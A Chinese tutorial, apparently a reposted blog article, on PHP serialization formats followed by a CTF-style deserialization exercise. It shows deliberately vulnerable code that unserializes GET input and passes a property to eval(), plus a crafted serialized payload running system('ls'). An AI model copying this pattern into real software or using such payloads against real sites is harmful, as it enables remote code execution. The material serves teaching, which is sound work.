PHP序列化基础知识储备

一、序列化与反序列化

1、概念

PHP中的序列化是指将复杂的数据类型转换为可存储或可传输的字符串,而反序列化则是将这些字符串重新转换回原来的数据类型。

序列化通常使用 serialize() 函数完成,它可以将数组、对象、字符串等复杂数据类型压缩到一个字符串中,这个过程不会影响到数据的类型和结构。序列化主要用于将数据保存到文件、数据库或者通过网络发送时,保证数据的完整性和结构的不变性。需要注意的是,序列化一个对象时会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

反序列化则使用 unserialize() 函数,它将序列化后的字符串还原为原始的数据类型。这常用于从存储介质如文件或数据库中读取数据时,确保数据可以被正确地重构为原始状态。

总的来说,这两个过程结合起来,可以轻松地在不同的运行环境中存储和传输数据,提高程序的可维护性和灵活性。


2、对象序列化演示

(1)公有修饰符:
<?php
highlight_file(__FILE__);
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

通过代码易知,最终将输出类test的实例化对象$a的序列化格式,输出结果如下:

O:4:"test":1:{s:3:"pub";s:6:"benben";}

我们对序列化内容格式进行具体分析:

O -- 表示“Object”,在面向对象编程中译作“对象”。

4 -- 表示类名的长度,通过代码易知类 test 的长度为4。

1 -- 表示类中只有一个属性 $pub。

{} -- 对类中的内容进行分析,但只会分析类中的属性,不会分析类中的方法。

s -- 表示“string”,string表示字符串,表示类中属性$pub的名称是字符串。

3 -- 表示类中属性$pub的长度为3。

"pub" -- 表示类中属性$pub的名称。

;-- 起到间隔作用。

s : 6 : "benben" -- 表示类中属性的值为一个字符串,字符串的长度为6,字符串的名称为 benben。

(2)私有修饰符:
<?php
highlight_file(__FILE__);
class test{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

我们观察到类中属性由 public 变成了 private,那么序列化内容会如何改变,改变后的序列化内容如下:

O:4:"test":1:{s:9:"testpub";s:6:"benben";}

我们观察到序列化内容发生了一些变化,其中属性名称变成了 testpub,这里涉及一个知识点,当属性由共有变成私有之后,属性名称会变为 类名 + 属性名称,但是我们又发现,属性长度为9,而testpub的长度仅仅为7,那么多出来的2个字符串长度由何而来呢?

特别说明:私有属性中多出的两个字符串长度:

私有属性中,长度为9的testpub其实在test的首尾拥有两个空格位,分别各占取一个字符串长度,testpub真实情况下应该写作 %00test%00pub,多出的两个字符串长度就是这两个%00。

(3)保护修饰符:

<?php
highlight_file(__FILE__);
class test{
    protected $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

类中属性由共有变为保护属性,序列化输出结果如下:

O:4:"test":1:{s:6:"*pub";s:6:"benben";}

我们发现属性名称和长度再次发生了变化,名称pub前多出一个*,并且名称长度也与实际观察到的长度不符合,多出了两个字符串长度。

特别说明:保护属性中多出的两个字符串长度:

实际保护属性名称为:空格 + * + 空格 + 属性名称。

URL编码为:%00 + * + %00 + 属性名称。

(4)成员属性调用对象:
<?php
highlight_file(__FILE__);
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>

上述代码将实例化对象赋值给成员属性,并将其以序列化格式输出。输出结果如下:

O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

与将一个字符串赋值给成员属性的格式并无不同,唯一不同点是内容变成了一个类罢了。


3、对象反序列化演示

<?php
highlight_file(__FILE__);
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);

?> 

输出代码如下:

(1)O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
序列化格式输出

(2)O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
序列化URL编码格式输出

(3)object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
将序列化格式反序列化后输出(以反序列化格式输出) 

(3)即为反序列化格式输出,本质就是将序列化过的内容进行还原。


二、PHP反序列化例题演示

1、题目源代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?> 

通过分析源代码可知,test类中存在eval()函数,我们只需要利用eval()函数括号中的代码,来执行我们想要达到目的的指令。

我们已知eval()括号中的值为属性a的值,我们只需要将我们想要执行的指令赋值给 $a 就可以了。

那么如何将我们想要执行的命令赋值给 $呢?我们可以利用反序列化,分析代码可知,首先将用户输入值赋值给"benben"后通过GET方法发送给客户端并且赋值给$get,对$get进行反序列化后将反序列化后的值赋值给$b,最后调用$b中的displayVar()函数,就可以达到将输入值赋值给$a的目的,我们只需要将指令写在benben中即可。

2、构造序列化代码:

<?php
    class test{
        public $a = '';
    } 
    $b = new test();
    $b->a = "system('ls');";
    echo serialize($b);
?>

输出结果如下:

O:4:"test":1:{s:1:"a";s:13:"system('ls');";}

将输出结果提交给GET["benben"],如下图:

提交后页面如下:

id值成功在页面中显示。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/457819.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

在Linux/Ubuntu/Debian中使用7z压缩和解压文件

要在 Ubuntu 上使用 7-Zip 创建 7z 存档文件&#xff0c;你可以使用“7z”命令行工具。 操作方法如下&#xff1a; 安装 p7zip&#xff1a; 如果你尚未在 Ubuntu 系统上安装 p7zip&#xff08;7-Zip 的命令行版本&#xff09;&#xff0c;你可以使用以下命令安装它&#xff1a;…

数据结构:堆

堆的概念 1.堆是一个完全二叉树 2.小堆(任何一个父亲<孩子),大堆(任何一个父亲>孩子) 堆的结构 物理结构:数组 逻辑结构:二叉树 #pragma once #include<assert.h> #include<iostream> typedef int HPDataType; typedef struct Heap {HPDataType* _a;int…

手写Mybatis自动填充插件

目录 一、Mybatis插件简介&#x1f959;二、工程创建及前期准备工作&#x1f96b;实现代码配置文件 三、插件核心代码实现&#x1f357;四、测试&#x1f953; 一、Mybatis插件简介&#x1f959; Mybatis插件运行原理及自定义插件_简述mybatis的插件运行原理,以及如何编写一个…

Java8 Stream流详解

文章目录 概念和特点基本流程常见操作过滤&#xff08;filter&#xff09;映射&#xff08;map&#xff09;收集&#xff08;collect&#xff09;归约&#xff08;reduce&#xff09;扁平映射&#xff08;flatMap&#xff09; java案例详解注意事项 概念和特点 Java中的Stream是…

Qt 线程池 QThreadPool

一.Qt 线程池 QThreadPool介绍 Qt线程池是一种管理多个线程的并发编程模型&#xff0c;通过使用线程池可以提高性能、控制并发度、提供任务队列和简化线程管理。 在Qt中&#xff0c;线程池的使用主要涉及以下几个步骤&#xff1a; 创建任务类&#xff1a;需要定义一个任务类&am…

PGA高端项目:FPGA基于GS2971+GS2972架构的SDI视频收发,提供3套工程源码和技术支持

目录 1、前言免责声明 2、相关方案推荐本博已有的 SDI 编解码方案本方案的SDI接收图像缩放应用本方案的SDI接收纯verilog图像缩放纯verilog多路视频拼接应用本方案的SDI接收HLS图像缩放HLS多路视频拼接应用本方案的SDI接收OSD动态字符叠加输出应用本方案的SDI接收HLS多路视频融…

AJAX 03 XMLHttpRequest、Promise、封装简易版 axios

AJAX 学习 AJAX 3 原理01 XMLHttpRequest① XHR 定义② XHR & axios 关系③ 使用 XHR④ XHR查询参数案例&#xff1a;地区查询&#xff08;URLSearchParams&#xff09;⑤ XHR数据提交 POST 02 PromisePromise 使用Promise - 三种状态案例&#xff1a;使用Promise XHR 获取…

sqllab第二十一关通关笔记

知识点&#xff1a; 错误注入 最大长度为32超过需要利用截取函数分段读取cookie注入base64加密会保留符号的原始属性 通过admin admin进行登录发现和第二十关显示的内容一样&#xff0c;猜测应该还是cookie注入&#xff1b; 直接截取带有cookie的数据包&#xff0c;发现uname…

SpringBoot异常:类文件具有错误的版本 61.0, 应为 52.0的解决办法

问题&#xff1a; java: 无法访问org.mybatis.spring.annotation.MapperScan 错误的类文件: /D:/Program Files/apache-maven-3.6.0/repository/org/mybatis/mybatis-spring/3.0.3/mybatis-spring-3.0.3.jar!/org/mybatis/spring/annotation/MapperScan.class 类文件具有错误的…

YOLO_项目环境配置

YOLOv5官方项目地址 https://github.com/ultralytics/yolov5 下载 5.0和1.0源码 5.0 master-Tags-v5.0 Code-Download.ZIP 切换到1.0下载 解压缩提取 打开V5.0 使用Pycharm打开V5.0的文件夹 环境配置 参考 http://t.csdnimg.cn/Zdfh2 http://t.csdnimg.cn/Nqkwr 然后在Pyc…

AVCE - AV Evasion Craft Online 更新 8 种加载方式 - 过 WD 等

免责声明&#xff1a;本工具仅供安全研究和教学目的使用&#xff0c;用户须自行承担因使用该工具而引起的一切法律及相关责任。作者概不对任何法律责任承担责任&#xff0c;且保留随时中止、修改或终止本工具的权利。使用者应当遵循当地法律法规&#xff0c;并理解并同意本声明…

Redis:持久化、线程模型、大 key

Redis持久化方式有什么方式&#xff1f; Redis 的读写操作都是在内存中&#xff0c;所以 Redis 性能才会高&#xff0c;但是当 Redis 重启后&#xff0c;内存中的数据就会丢失&#xff0c;那为了保证内存中的数据不会丢失&#xff0c;Redis 实现了数据持久化的机制&#xff0c…

Linux的一些常用指令

一、文件中 r w x - 的含义 r&#xff08;read&#xff09;是只读权限&#xff0c; w&#xff08;write&#xff09;是写的权限&#xff0c; x&#xff08;execute&#xff09;是可执行权限&#xff0c; -是没有任何权限。 二、一些指令 # 解压压缩包 tar [-zxvf] 压缩包名…

【计算机网络】概述

文章目录 一、Internet 因特网1.1 网络、互联网、因特网1.2 因特网的组成 二、三种交换方式2.1 电路交换 &#xff08;Circuit Switching&#xff09;2.2 *分组交换 &#xff08;Packet Switching&#xff09;2.3 报文交换 &#xff08;Message Switching&#xff09; 三、计算…

2023版IDEA永久破解教程带patch.exe破解程序

2023版IDEA永久破解教程带patch.exe破解程序 第零步&#xff1a;百度云盘获取程序第一步&#xff1a;关闭电脑的病毒和危险防护&#xff08;目的是避免电脑自动清除破解程序&#xff09;1.找到电脑的 病毒和威胁防护2.蓝色按钮表示防护处于开启状态3.关闭成功会展示“实时保护已…

Ansible非标记语言YAML与任务剧本Playbook

前言 上篇介绍了 Ansible 单模块&#xff08;AD-Hoc&#xff09;的相关内容Ansible自动化运维Inventory与Ad-Hoc-CSDN博客&#xff0c;Ad-Hoc 命令是一次性的、即时执行的命令&#xff0c;用于在远程主机上执行特定任务&#xff0c;这些命令通常用于快速执行简单的任务。当需要…

软件无线电系列——模拟无线电、数字无线电、软件无线电

本节目录 一、模拟无线电 二、数字无线电 1、窄带数字无线电 2、宽带数字无线电 三、软件无线电本节内容 一、模拟无线电 20世纪80年代的模拟体制(美国的AMPS/欧洲的TACS)被称为第一代移动通信&#xff0c;简称1G,主要目标是为在大范围内有限的用户提供移动电话服务。最主要的…

React——react 的基本使用

前提&#xff1a;安装全局的脚手架&#xff0c;通过create-creat-app 项目名&#xff0c;我们创建好一个新项目&#xff0c;cd进去&#xff0c;通过npm start去运行该项目 注意&#xff1a;简单看下demo的配置&#xff0c;在根目录我们可以看到&#xff0c;没有任何webpack的…

【b站咸虾米】2 Vue基础(下) 2021最新Vue从基础到实例高级_vue2_vuecli脚手架博客案例

课程地址&#xff1a;【2021最新Vue从基础到实例高级_vue2_vuecli脚手架博客案例】 https://www.bilibili.com/video/BV1pz4y1S7bC/?share_sourcecopy_web&vd_sourceb1cb921b73fe3808550eaf2224d1c155 目录 2 Vue基础 下 2.8 计算属性 2.8.1 计算属性使用 2.8.2 计算…

整型变量的原子操作

什么是原子操作 原子操作&#xff08;Atomic Operation&#xff09;是指不可中断的操作&#xff0c;即在多线程环境下&#xff0c;当一个线程在执行原子操作时&#xff0c;不会被其他线程的调度和中断所影响。这种操作在多线程编程中尤为重要&#xff0c;因为它能保证操作的原…